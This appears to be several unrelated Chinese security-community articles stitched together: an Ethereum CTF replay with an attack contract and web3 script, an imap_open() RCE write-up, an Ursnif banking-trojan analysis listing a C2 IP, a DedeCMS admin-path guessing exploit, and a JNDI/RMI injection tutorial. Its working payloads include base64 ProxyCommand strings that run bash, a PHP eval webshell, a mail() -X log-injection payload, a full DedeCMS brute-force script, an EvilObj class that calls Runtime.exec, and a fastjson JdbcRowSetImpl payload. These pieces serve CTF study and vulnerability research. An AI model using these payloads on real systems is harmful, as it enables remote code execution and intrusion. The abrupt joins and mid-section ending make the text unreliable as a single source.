读取密码很简单，从0开始数下来password所使用的存储位是6，所以直接读取6号存储位即可，因为题目环境已经关闭而且题目是搭在私链上的，所以这里我就直接在ropsten测试链上进行复现，在部署合约时设置的密码为0x253545，这样即可在存储中读到
之后的操作就非常简单了，这里不多说了，我们来看看lv2，这部分在比赛的时候没几支队伍做出来
## lv2
题目描述如下
We don't want to think that you cheated, but we enhance security of the contract.
OK, press "test luck" button to check your luck!
至于代码上其实几乎跟lv1一样，不过在最关键的地方也就是其中的password它修改成了hash值
function checkPassword(bytes _password) public view returns(bool) {
if (password == keccak256(abi.encodePacked(_password))) {
return true;
}
else return false;
}
这样我们再想向之前那样change owner修改seed就不可行了，所以利用点肯定与lv1不一样
我们再次回到合约中随机数的生成上，显然这里的随机数是我们可以提前获取到的，因为只使用了区块号作为随机数生成源，所以对于每个区块我们可以判断是否要调用pickUp函数，同时每次调用都会对seed进行更新，这样的话就豁然开朗了，我们可以计算出一个区块号的序列，遵循该序列进行调用我们可以不断更新seed，最终在最后一次调用中满足判断条件
首先我们要算出该序列，这里我参考了此处的[writeup](https://github.com/pietroferretti/ctf/tree/master/secconquals2018/gacha)
def step(state, number):
return (state * number) % 20000000
def findsequence(seed, start):
# breadth first search
# stop when result == 12345
# initialize
queue = {seed: []}
blockn = start + ((start % 2) + 1) # we only want odd ones
done = False
# start exploring
while not done:
print blockn - start, len(queue)
nextqueue = queue.copy()
for state in queue:
# check new block for every saved state
newstate = step(state, blockn)
#print newstate
if newstate % 2 == 0:
# skip
continue
if newstate == 12345:
print 'found'
print 'blists', queue[state] + [blockn]
res = queue[state] + [blockn]
done = True
break
if len(nextqueue[state]) > 2:
# skip
# we want a short sequence, to reduce timing errors
continue
nextqueue[newstate] = nextqueue[state] + [blockn]
queue = nextqueue
blockn += 2
return res
blists=findsequence(2345,4370335)
seedlists=[2345]
for x in range(5):
seedlists.append(blists[x]*seedlists[x]%20000000)
print 'seedlists',seedlists
原理就是暴力穷举，首先区块肯定得是奇数，seed也是奇数，否则就无法使得计算结果为12345，那么就从设定的开始区块开始不断尝试后面的奇数块，将得到的序列存储，这里存储使用了dict，在key中存储序列得到的seed值，value里存储该序列，不断尝试直到找到满足条件的序列，为了使得需要的区块尽可能少所以还添加了对长度的限制，这里的限制实际上等价于满足的序列长度需小于等于4，当然也可以更小，但是这样相邻块的间隔过大，也不利于我们进行攻击
这里我是在测试链上进行复现，所以对题目进行了一定的修改，将模数修改为了20000000，初始化的seed我随便设了2345，开始的区块号就得由你看着选了，按照我的流程首先得到区块列表和对应的seed更新列表
> blists [4370433, 4370449, 4370481, 4370513]
> seedlists [2345, 8665385, 3207865, 13033065, 12345]
下一步我们准备部署一个攻击合约，这也很简单，其实就是判断下区块号决定要不要调用目标合约的pickUp函数
contract attack {
Gacha target=Gacha(your challenge address);
uint [] blists=[4370433, 4370449, 4370481, 4370513];
uint [] seedlists=[2345, 8665385, 3207865, 13033065, 12345];
function pwn(uint n) {
if(block.number == blists[n]){
if (target.seed() == seedlists[n]){
target.pickUp();
}
else {
revert();
}
}
else {
revert();
}
}
}
这里还需要注意的是challenge合约部署时即需要指定player，而且判断时使用的是msg.sender，所以要填入的player必须是攻击合约地址，这就代表着攻击合约的地址要么提前算出来要么提前部署，因为直接算合约地址也挺方便的所以我是选择了提前算攻击合约的地址，当然你也可以将攻击合约换一个写法让它接受传入的challenge合约参数
下面是以太坊源码中计算合约地址的代码，基于此我们可以直接计算地址在对应nonce下创建的合约的地址
func CreateAddress(b common.Address, nonce uint64) common.Address {
data, _ := rlp.EncodeToBytes([]interface{}{b, nonce}) //对地址和nonce进行rlp编码
return common.BytesToAddress(Keccak256(data)[12:]) //利用keccak256算hash，后20个字节作为新地址
}
模拟的代码如下
const util = require('ethereumjs-util');
const rlp = require('rlp');
encodedRlp = rlp.encode([address, nonce]);
buf = util.sha3(encodedRlp);
contractAddress =buf.slice(12).toString('hex');
填入address和nonce即可计算得到合约地址，这部分就不多说了
这样成功部署了攻击合约之后我们就需要调用它了，有的人可能会选择手工调用，比如在remix里一次又一次地调用攻击合约的pwn函数，这样不仅自己点的累而且发出的交易有限，成功率也不高，何况我们还得实时监控当前的区块变化，所以合适的选择是自动化运作，在这我选择了web3.js来与合约进行交互，说实话因为js代码写的并不多所以可能看起来不是很优雅，还请大佬轻喷
代码如下
var Web3 = require("web3");
var web3 = new Web3();
web3.setProvider(new Web3.providers.HttpProvider("https://ropsten.infura.io"));
web3.eth.accounts.wallet.add(your private key);
web3.eth.defaultAccount=web3.eth.accounts.wallet[0].address;
var blists=[4370433, 4370449, 4370481, 4370513];
var seedlists=[2345, 8665385, 3207865, 13033065, 12345];
var abi=[{"constant":false,"inputs":[{"name":"n","type":"uint256"}],"name":"pwn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]
var address='bbe561c39f42fa39bcbfb60bcd8cd7fe6e7a631d';
var attack=new web3.eth.Contract(abi,address);
function sleep (time) {
return new Promise((resolve) => setTimeout(resolve, time));
}
var blocks=0;
var gg=0;
var nonces=your start nonce;
(async function() {
for(var i=0;i<5000;i++){
await sleep(1000).then(async ()=>{
await web3.eth.getBlockNumber().then(function(value){
blocks=value;
});
if (blocks<blists[gg]){
console.log(blocks,gg,nonces);
attack.methods.pwn(gg).send({from:'0x1Eed0499dF1539767aF3a4981c8c598572bAC20a',nonce:nonces,gas:3000000,gasPrice:50000000000}).catch(new Function());
nonces+=1;
}
else {
gg+=1;
}
});}
})();
代码中使用的abi可以使用solc编译得到
> solc seccon_gaca.sol --abi
为了让发送交易的频率不要太快这里我设置的频率是一秒一次，另外有一点需要特别注意就是nonce的更新，如果不自己设定nonce的话那么在你的上一个交易未确认的时候web3默认发送时取的nonce还是上一个，这样发送的交易跟前面是一样的，会直接被节点丢弃，也就没有了意义，所以每次发送就更新一次nonce
另外就是每次发送都需要判断一下当前的区块号，跟blists进行比对以决定当前要准备塞入交易的是哪个块，程序跑起来之后我们就可以在区块浏览器里看到合约地址下疯狂滚动的交易。
可以看到交易非常密集，这也是为了确保每个块里都能塞到我们的交易，尽管如此有些区块还是会落空，这也得看点运气，说实话前段时间测试链经历了几次更新后感觉出块时间更不稳定了。我们可以在挑战合约处查看seed的更新来查看我们的成功进度，如果目标块没有成功包含那么就只能重新部署再来一次了，不行的话可以适当将发送交易的频率再调高一点。
# 写在最后
其实写到后面跟seccon比赛时的题目区别已经挺大了，毕竟我是在测试链上进行复现的，而比赛则是在官方提供的私链上进行，所以在环境的搭建与处理上有很大区别，在这里主要还是记录一下方法吧，这样在测试链上进行复现感觉也有点影响别人
# 参考
[write up by Tower of
Hanoi](https://github.com/pietroferretti/ctf/tree/master/secconquals2018/gacha) | 社区文章 |
# 从一道题看imap_open() RCE
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本题为2019安恒2月月赛的my email，从漏洞点发现到getshell还是有点意思的，以下是记录
## 信息搜集
拿到题目先看一遍功能，发现存在注册和登录功能
随便注册个账号，登入，得到信息
发现还有完善信息页面
看样子需要邮箱授权，我们随便测试一下
虽然提示我授权失败，但是来到主页，已经完善信息完成
发现增加功能：更换背景
http://101.71.29.5:10014/user/upload.php
发现是文件上传功能
我们测试一下，随意上传一个图片，查看一下源代码，发现
body{
background-image: url(./user/skysky.jpg);
background-size: 100%,100%;
width: 100%;
height: 100%;
}
得到上传路径与命名规则
$dir = './user/'.$username.'.jpg';
不难发现，最后保存路径存在可控点$username，我们进行二次注入探测
注册用户
skysky.php%00
登入后发现用户名变为
skysky.php
猜测应该注册处存在
addslashes($username)
那么应该很难使用$username去上传shell
## 攻击点思考
目前来看，情况僵硬，必须思考一下如何串联上述功能进行攻击了
既然不是直接upload+register进行getshell，那么势必需要用到邮件功能
不妨google一下
php+mail+rce
发现如下两个函数
PHP mail()
PHP imap_open()
为进一步确定方向和攻击点，我们看一下邮箱处需要的参数
我们再看上述3种和邮件有关的RCE
首先是
PHP mail()
我们知道其参数为
bool mail(
string $to,
string $subject,
string $message [,
string $additional_headers [,
string $additional_parameters ]]
)
这里的界面应该类似于写邮件，例如
而漏洞点即在于mail函数的第五个参数没有正确过滤，我们可以通过如下方式进行RCE
email=
[email protected] -OqueueDirectory=/ -Xskyskysky.php
title=
<?php eval($_GET[sky]);?>
而这里我们的参数为
email，sign，server
功能为邮箱授权，感觉有些对不上号，我们再看看`imap_open()`
imap_open ( string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = NULL ]]] ) : resource
漏洞点在于第一个参数`$mailbox`
详细解析可见
https://lab.wallarm.com/rce-in-php-or-how-to-bypass-disable-functions-in-php-installations-6ccdbf4f52bb
## imap_open()攻击测试
于是综上所述，我们将目光放在imap_open()上开始测试，我们可利用如下脚本生成payload
<?php
$payload = $argv[1];
$encoded_payload = base64_encode($payload);
$server = “any -o ProxyCommand=echot”.$encoded_payload.”|base64t-d|bash}”;
print(“payload: {$server}”.PHP_EOL);
例如
any -o ProxyCommand=echotbHM=|base64t-d|bash}
我们测试一下，由于imap_open是php的扩展模块，我们这里选择找个docker测试
随便搜一个
docker search imap
选择一个后pull
docker pull fedosov/docker-php-imap-composer
进入容器进行测试
docker run -itd fedosov/docker-php-imap-composer /bin/bash
docker attach id
先写一个带有imap_open的1.php
<?php
$payload = "echo skysky|tee /tmp/success";
$encoded_payload = base64_encode($payload);
$server = "any -o ProxyCommand=echot".$encoded_payload."|base64t-d|bash";
@imap_open('{'.$server.'}:143/imap}INBOX', '', '');
我们可以明显看到，运行前tmp目录为空目录，运行后，tmp目录生成了success文件，文件内容为我们指定的skysky
这样一来攻击点就清晰了：利用邮箱授权功能往`./user/`目录写入shell即可
注：为什么不执行命令呢？因为这里命令不回显……写shell的话要方便很多
## 题目攻击点测试
生成payload脚本为
<?php
$payload = "echo '<?php phpinfo();' > /var/www/html/user/sky.php";
$encoded_payload = base64_encode($payload);
$server = "any -o ProxyCommand=echot".$encoded_payload."|base64t-d|bash";
echo $server;
得到
any -o ProxyCommand=echotZWNobyAnPD9waHAgcGhwaW5mbygpOycgPiAvdmFyL3d3dy9odG1sL3VzZXIvc2t5LnBocA==|base64t-d|bash
我们测试一下
发现参数不被允许提醒，此时猜测是不是存在过滤，我们测试一下
发现
base64,|,
均被过滤，那么既然如此，该如何进行任意文件写入呢？
## upload助攻
此时不难想起，之前还有一个上传功能，路径如下
$dir = './user/'.$username.'.jpg';
我们是已知文件名和路径的，那么能否在文件内容做文章，进行运用？
这里不难想到，可以直接使用`bash filename`
例如
那么我们只需要构造文件
echo 'echo "<?php phpinfo();"> skysky.php' > skysky.jpg
然后上传skysky.jpg，再利用imap_open() RCE即可
any -o ProxyCommand=bash skysky.jpg}
我们测试一下
发现成功执行phpinfo()
## getflag
那么故技重施，即可getshell
echo 'echo "<?php eval($_REQUEST[sky]);"> skysky.php' > skysky.jpg
any -o ProxyCommand=bash skysky.jpg}
菜刀连上，即可getshell
## 后记
这道题目再一次说明了思路很重要，如果思路不明确，尝试注入，upload等则很容易被这道题目带入误区XD | 社区文章 |
# 一 样本简介
Ursnif是一款著名的银行木马，也叫Gozi银行木马，最早出现于2007年，并一直活跃于金融行业，Ursnif功能强大，2010年其代码泄漏后，该木马开发了多种不同的功能，最近发现Ursnif非常活跃，从网上下载到了Ursnif银行木马的最新的一个变种样本，进行了详细分析。
# 二 详细分析
1. 查壳分析，样本采用UPX加壳，如下所示：
2. 脱壳之后，如下所示：
3. 获取精确的文件时间信息，如下所示：
4. 然后一堆跳转，进行内存解密操作，如下所示：
5. 加载kernel32.dll和ntdll.dll动态链接库文件，如下所示：
6. 通过GetModuleFileNameA获取文件路径，如下所示：
7. 打开文件，读取文件内容到内存地址，读取的文件大小为0x5FA00，如下所示：
读取的数据块，如下所示：
再次读取文件后面的内容到内存块，如下所示：
读取到的文件内容，如下所示：
8. 然后通过GetProcessAddress获取如下函数的地址,如下所示：
相应的函数如下：
ZwUnmapViewOfSection、VirtualAllocEx、GetCurrentProcess等函数
9. 通过GetCurrentProcess和VirtualAllocEx分配相应的内存地址空间，如下所示：
10. 加载数据到刚才分配的内存地址，如下所示：
然后再读取程序的数据到相应的内存地址，数据大小为0xF4240，如下所示：
读取的数据，如下所示：
11. 通过CreateProcessA创建新的进程，挂起进程，如下所示：
如下所示：
然后通过GetThreadContext获取进程信息，如下所示：
12. 将之前加载的内存数据写入到进程，如下所示：
通过SetThreadContext设置进程，如下所示：
13. 通过ResumeThread执行进程，如下所示：
进程执行，如下所示：
14. 将注入到进程中的数据Dump下来，如下所示：
15. 分析Dump下来的Payload代码，如下所示：
16. 打开进程，获取相应的进程句柄，如下所示：
17. 循环判断，解密程序.bss段的数据，如下所示：
相应的反汇编代码如下：
解密的密钥为：Aug 16 2018
18. 解密出相应的数据拷贝到指定的内存空间，如下所示：
19. 判断操作系统是不是64位，如下所示：
20. 在内存解密出文件头被修改的PE程序Payload2,如下所示：
通过Process Hollowing在内存中加载解密出来的Payload2，如下所示：
21. 执行解密出来的Payload2里面的代码，如下所示：
然后跳转到相应的代码，如下所示：
进入Payload2代码段处执行，如下所示：
动态跟踪之后，就进入到了此款银行木马最核心的功能模块代码处，如下所示：
Payload2反汇编代码如下所示：
22. 打开进程，如下所示：
解密出.bss段的相应的字符串数据，如下所示：
判断操作系统版本，如下所示：
相应的反汇编代码如下：
23. 获取进程相关信息，如下所示：
相应的反汇编代码如下：
24. 获取操作系统用户名，如下所示：
获取操作系统主机名，如下所示：
25. 设置键盘钩子，获取键盘记录，如下所示：
卸载键盘钩子，如下所示：
26. 获取剪切板的数据信息，如下所示：
27. 进行截屏操作，如下所示：
28. 创建命名通道，收集进程数据，如下所示：
29. 解密出相应的C2地址<http://195.123.237.123，> 如下所示：
30. 将获取到的相关信息，发送到远程恶意服务器，如下所示：
31. 进程退出，卸载模块，如下所示：
# 三 总结
根据笔者近期的观察，银行木马家族最近一段时间都非常活跃，包括：Emotet、TrickBot、Ursnif、Osiris、Zeus等家族，可以预测在未来一段时间里，可能会有新一轮专门针对金融行业的恶意攻击，请金融行业的各大企业做好相应的防范准备工作。
# 四 相关IOC
MD5
D236F9AAD941974C2B44BF7DEBD2A19B
IP
195.123.237.123
附件样本解压密码：infected(包含母体样本，加载核心模块的Payload1,解密之后的银行木马核心模块Payload2) | 社区文章 |
### 利用限制
* 仅针对windows系统
### 进入正题
首先看核心文件common.inc.php 大概148行左右
if($_FILES)
{
require_once(DEDEINC.'/uploadsafe.inc.php');
}
uploadsafe.inc.php
if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
{
exit('Request var not allow for uploadsafe!');
}
$$_key = $_FILES[$_key]['tmp_name']; //获取temp_name
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
{
if(!defined('DEDEADMIN'))
{
exit('Not Admin Upload filetype not allow !');
}
}
if(empty(${$_key.'_size'}))
{
${$_key.'_size'} = @filesize($$_key);
}
$imtypes = array
(
"image/pjpeg", "image/jpeg", "image/gif", "image/png",
"image/xpng", "image/wbmp", "image/bmp"
);
if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{
$image_dd = @getimagesize($$_key);
//问题就在这里，获取文件的size，获取不到说明不是图片或者图片不存在，不存就exit upload.... ,利用这个逻辑猜目录的前提是目录内有图片格式的文件。
if (!is_array($image_dd))
{
exit('Upload filetype not allow !');
}
}
......
注意`$$_key`这一句，变量`$key`取自于`$_FILE`，由于`$_FILE`可控自然`$key`也可控,此处理论上是可以覆盖任意变量，但是前面有个正则判断不能出现`cfg_|GLOBALS`。(但是应该还可以覆盖其他变量此处感觉还可以深挖)
本人出发点是找个可以利用`<<`通配符猜解后台目录，所以只要`$$_key`参数可控就可以达到目的。
修正一处笔误。
~~但在这之前有个`if(!defined('DEDEADMIN'))`的判断,这个很好绕过设置`tmp_name为0或者1.jpg含.` 就可以绕过。~~
if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
{
if(!defined('DEDEADMIN'))
{
exit('Not Admin Upload filetype not allow !');
}
}
这个判断只需要设置${$_key.'_name'} 的值为0或者1.jpg 含点“ . ” 既可以绕过 如：_FILES[b4dboy][name]=1.jpg
最后关键的一点就是要让文件存在还和不存在返回不同的内容就要控制type参数了。
当目录文件存在的时候 返回正常页面。当不存在的时候返回：Upload filetype not allow !
### 举个例子
文字不好表达，便于理解。
<?php
// ./dedecms/favicon.ico
if(@getimagesize($_GET['poc'])){
echo 1;
}else {
echo 0;
}
?>
get:
http://localhost/test.php?poc=./d</favicon.ico
返回：1
http://localhost/test.php?poc=./a</favicon.ico
返回：0
http://localhost/test.php?poc=./de</favicon.ico
返回：1
http://localhost/test.php?poc=./ded</favicon.ico
返回：1
........
### 构造poc
http://localhost/dedecms/tags.php
post:
dopost=save&_FILES[b4dboy][tmp_name]=./de</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif
Common.inc.php 是被全局包含的文件，只要文件php文件包含了Common.inc.php都可以进行测试，以tags.php文件为例
当目录存在点时候： 图1
当目录不存在点时候： 图2
### EXP：
<?php
$domain='http://localhost/dedecms/';
$url=$domain.'/index.php';
function post($url, $data, $cookie = '') {
$options = array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => true,
CURLOPT_POST => true,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_COOKIE => $cookie,
CURLOPT_POSTFIELDS => $data,
);
$ch = curl_init($url);
curl_setopt_array($ch, $options);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
$testlen=25;
$str=range('a','z');
$number=range(0,9,1);
$dic = array_merge($str, $number);
$n=true;
$nn=true;
$path='';
while($n){
foreach($dic as $v){
foreach($dic as $vv){
#echo $v.$vv .'----';
$post_data="dopost=save&_FILES[b4dboy][tmp_name]=./$v$vv</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif";
$result=post($url,$post_data);
if(strpos($result,'Upload filetype not allow !') === false){
$path=$v.$vv;$n=false;break 2;
}
}
}
}
while($nn){
foreach($dic as $vvv){
$post_data="dopost=save&_FILES[b4dboy][tmp_name]=./$path$vvv</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif";
$result=post($url,$post_data);
if(strpos($result,'Upload filetype not allow !') === false){
$path.=$vvv;
echo $path . PHP_EOL;
$giturl=$domain.'/'.$path.'/images/admin_top_logo.gif';
if(@file_get_contents($giturl)){
echo $domain.'/'.$path.'/';
$nn=false;break 2;
}
}
}
}
?>
### 感谢
感谢给我提供这个思路的朋友
##### 参考文章
> <https://www.t00ls.net/viewthread.php?tid=27472>
>
> <http://onsec.ru/onsec.whitepaper-02.eng.pdf>
>
> <https://www.t00ls.net/viewthread.php?tid=25843> | 社区文章 |
# JNDI with RMI
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在现实环境中，遇到RMI Registry的机会很少，而结合反序列化漏洞的JNDI注入则常见了许多。本文将介绍RMI结合JNDI后可以做哪些事情XD
## 0x01 基础
在看JNDI同RMI的利用前，我们先来看看关于RMI动态类加载的概念。
### RMI动态类加载
RMI有一个重要的特性是动态类加载机制，当本地CLASSPATH中无法找到相应的类时，会在指定的codebase里加载class。codebase可以在系统属性java.rmi.server.codebase设置其URL。如果codebase的URL可控，那么我们就可以载入任意的class或jar文件。根据P牛的Java安全漫谈-RMI篇中提到，通过修改传递过程中的序列化数据，将其中的codebase修改为恶意的server，这样可以达到RMI
Server端被攻击的效果。不过，这个利用条件比较苛刻，并且oracle在后面对其做了限制，如果要成功利用需要满足如下要求：
> * 安装并配置了SecurityManager
> * Java版本低于7u21，6u45或者设置了`java.rmi.server.useCodebaseonly=false`
>
>
> 摘自Java安全漫谈-RMI篇
其中上面的配置，在7u21，6u45后的版本里默认为`true`，那么也就无法从远程codebase中载入类，避免了上面说的这种攻击的可能性。
### JNDI的相关概念
> Java Naming and Directory Interface (JNDI) is a Java API that allows clients
> to discover and look up data and objects via a name.
>
> <https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-> JNDI-LDAP-Manipulation-To-RCE-wp.pdf>
JNDI方便了与naming service和Directory
service的交互，通过指定特定的URL即可与不同的服务进行交互。相当于对这些服务的API又进行了一次封装供开发人员使用。其中JNDI中也存在上述RMI
codebase的动态加载机制，并且其配置同底层的RMI配置并不相关。
从上述的构架来看，动态加载发生于两个部分，Naming Manager和JNDI
SPI。这里SPI部分就是相对应的服务的配置，比如前文提到的RMI的限制就是SPI部分的。而Naming
Manager也存在一个动态加载机制并且其在修复前并无限制，这里Naming Manager部分用到的是JNDI的Naming References
> In order to bind Java objects in a Naming or Directory service, it is
> possible to use Java serialization to get the byte array representation of
> an object at a given state. However, it is not always possible to bind the
> serialized state of an object because it might be too large or it might be
> inadequate.
>
> For such needs, JNDI defined **Naming References** (or just References from
> now on) so that objects could be stored in the Naming or Directory service
> indirectly by binding a reference that could be decoded by the Naming
> Manager and resolved to the original object.
>
> <https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-> JNDI-LDAP-Manipulation-To-RCE-wp.pdf>
这里提到由于某些情况不能直接将远程obj返回，所以JNDI提出了Naming
References的方法，返回相应的Reference而不返回具体的obj。统一由JNDI的请求端去加载指定的地址上的obj。这里加载方法中就包括远程codebase的方法，来看个例子
String FactoryURL = "http://some-evil-server";
Reference reference = new Reference("MyClass","MyClass",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
ctx.bind("Foo", wrapper);// 绑定reference
请求端以lookup请求上述绑定的RMI服务即可。其处理过程引用<https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf>
## 0x02 原理
### JNDI with RMI DEMO
为了更好的说明，以下面的代码为例
package train.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
* @author wh1t3P1g
* @since 2020/2/4
*/
public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
String FactoryURL = "http://localhost/";
Reference reference = new Reference("EvilObj","EvilObj",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("Foo", wrapper);
}
}
Server端以RMI Registry注册一个Reference，并将factoryURL指定为localhost
package train.jndi;
import javax.naming.Context;
import javax.naming.InitialContext;
/**
* @author wh1t3P1g
* @since 2020/2/4
*/
public class Client {
public static void main(String[] args) throws Exception {
Context ctx = new InitialContext();
ctx.lookup("rmi://localhost:1099/Foo");
}
}
Client端比较简单，直接以lookup指定的RMI
URL即可。根据上面的过程图，我们可以知道的是最终执行EvilObj的地方是Client端(jndi发起lookup的方法)。最后我们创一个EvilObj
/**
* @author wh1t3P1g
* @since 2020/2/4
*/
public class EvilObj {
public EvilObj() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/sh", "-c", "open /System/Applications/Calculator.app"};
rt.exec(commands);
}
}
`javac EvilObj.java`生成EvilObj.class，然后挂载到一个web服务上就可以了。可以直接选择python来挂载
那么我们来具体看一下lookup函数具体做了什么
首先InitialContext的lookup函数，会根据提供的URL自动选择合适的InitialContext（分离出协议后进行选择），比如此时的InitialContext为rmiURLContext
继续跟进`com/sun/jndi/toolkit/url/GenericURLContext.java#lookup`
这里的ctx为RegistryContext，将对指定的RMI Registry获取绑定的obj
获取到远程对象，并调用decodeObject函数
如果当前的remote对象是RemoteReference类型，则进一步请求Registry获取该Reference的内容。到这里为止，我们接下来的请求就同Server端的关系不大了，Client会根据拿到的Reference请求相应的服务器
继续跟进getObjectInstance
这里会继续调用NamingManager的getObjectFactoryFromReference，该函数完成了向FactoryURL请求具体的class文件的功能。
这里可以看到，根据factoryName和codebase将远程载入相应的class文件(这里的loadClass用的URLClassLoader来完成任务)
并在第163行对载入的obj进行初始化，这也就是为什么我们需要把payload写在构造函数里。
在利用中，lookup函数的参数必须是可控的，或者利用反序列化利用链的方式来完成，比如下面的两个案例
### 案例一：Spring框架的JtaTransactionManager类
16年的时候Spring框架暴了一个反序列化的可利用点JtaTransactionManager，其原理就是利用了JNDI
可控的lookup参数（这里的可控由反序列化来完成）。来看一下原理
`org/springframework/transaction/jta/JtaTransactionManager.java#readObject`
这里1230行初始化了一个jdni的context，这个context将用于后续的JNDI lookup
继续跟进initUserTransactionAndTranscationManager
继续跟进lookupUserTransaction
这里最终调用了context的lookup函数，并且其参数为userTransactionName，这个部分我们可以在序列化前进行构造，例如下面的代码(更新在了ysoserial的spring3上)
到了如今2020年，这个类的利用仍然存在于最新版的Spring-tx组件上XD
### 案例二：FastJSON反序列化POC JdbcRowSetImpl类
fastjson由于`[@type](https://github.com/type
"@type")`的存在，在受影响的版本中，其可以对任意指定的对象进行反序列化，根据规则自动调用setter/getter来达到实例还原的目的。首先来看一下POC
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/obj","autoCommit":true}
这里的关键在于autoCommit，来看一下JdbcRowSetImpl的setAutoCommit函数
这里如果conn为null的话，会调用connect函数，看一下connect函数
看到这里用JNDI进行数据库连接，并且由于fastjson的特性dataSource是可控的，这就意味着我们可以控制lookup的参数，并向恶意的server发起JNDI连接。根据前文说的原理，我们可以使得主机执行任意代码。
## 0x03 环境复现
### 改造JRMPListener
由于JNDI底层用的都是RMI的东西，所以我们要建立一个绑定了Reference的RMI服务，可以直接改改JRMPListener。
在RMI部分曾经分析过JRMPListener，其返回了ExceptionalReturn，使得构造好的Exception在Client反序列化执行命令。而对于绑定Reference，我们需要修改ExceptionalReturn为NormalReturn并将payloadObject改为ReferenceWrapper
payloadObject改为ReferenceWrapper
但是在实际测试时，发现Client请求后不能完全退出。其实我们也可以直接用上面的例子
不过这里就获取不到是否有访问进来，根据实际的环境取舍吧XD
改造后的已更新到[github](https://github.com/wh1t3p1g/ysoserial)上
// 开启挂载了evil class文件的HTTP Server
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.PayloadHTTPServer 80 EvilObj "open /System/Applications/Calculator.app"
// 开启RMI Reference Listener
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRefListener 1099 EvilObj http://localhost/
// 或者使用RMIRefListener2，集合了上面两个步骤
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRefListener2 localhost:1099 80 EvilObj "open /System/Applications/Calculator.app"
### FastJSON 1.2.24 RCE
这里我们以FastJSON 1.2.24版本的RCE为例，来试验JNDI
首先开启一个evil rmi server
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRefListener2 host:1099 80 EvilObj "touch /tmp/success"
用[vulhub](https://github.com/vulhub/vulhub/blob/master/fastjson/1.2.24-rce/README.md)的环境
在服务器端会接收到连接
进到docker里可以看到生成了success文件
## 0x04 后续
前文用的环境是JDK8u111，在后续的JDK8u113以及JDK6u132, JDK7u122之后增加了对远程codebase的限制
> 系统属性
> com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase
> 的默认值变为false，即默认不允许从远程的Codebase加载Reference工厂类。如果需要开启 RMI Registry 或者 COS
> Naming Service Provider的远程类加载功能，需要将前面说的两个属性值设置为true。
>
> Changelog:
>
> * JDK 6u141
> <http://www.oracle.com/technetwork/java/javase/overview-156328.html#R160_141>
> * JDK 7u131
> <http://www.oracle.com/technetwork/java/javase/7u131-relnotes-3338543.html>
> * JDK 8u121
> <http://www.oracle.com/technetwork/java/javase/8u121-relnotes-3315208.html>
>
>
> 摘自<https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html>
那么如果存在这样一个漏洞但是又是高版本的JDK环境，该怎么进行bypass呢？
> 1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类，并利用这个本地的Factory类执行命令。
> 2. 利用LDAP直接返回一个恶意的序列化对象，JNDI注入依然会对该对象进行反序列化操作，利用反序列化Gadget完成命令执行。
>
>
> 摘自<https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html>
上面的这篇文章提出了上面两种方案来进行。
### 利用底层协议实现上的漏洞
先来说一下第二种，这里提到利用的是LDAP，这部分我们后面再详细叙述，其实原理跟RMI的反序列化问题是一样的。
我在[浅谈Java RMI反序列化问题](http://blog.0kami.cn/2020/02/06/rmi-registry-security-problem/)中曾提到过，JRMPListener利用的是RMI
Client在接收Exception时发生的反序列化漏洞。而这里的JNDI底层用的仍然是RMI那套(如果协议是RMI的话)，所以我们发起一个链接到ysoserial的JRMPListener也还是能成功利用的，不管有没有设置`com.sun.jndi.rmi.object.trustURLCodebase`为true。当然如果要利用成功，发起端必须要有反序列化利用链所依赖的组件并且合适的JDK版本才可以。
### 利用可利用的本地Factory对象
然后我们来继续看看第一种情况
在前面分析NamingManager的getObjectFactoryFromReference时，我略过了本地的factory的载入部分的代码
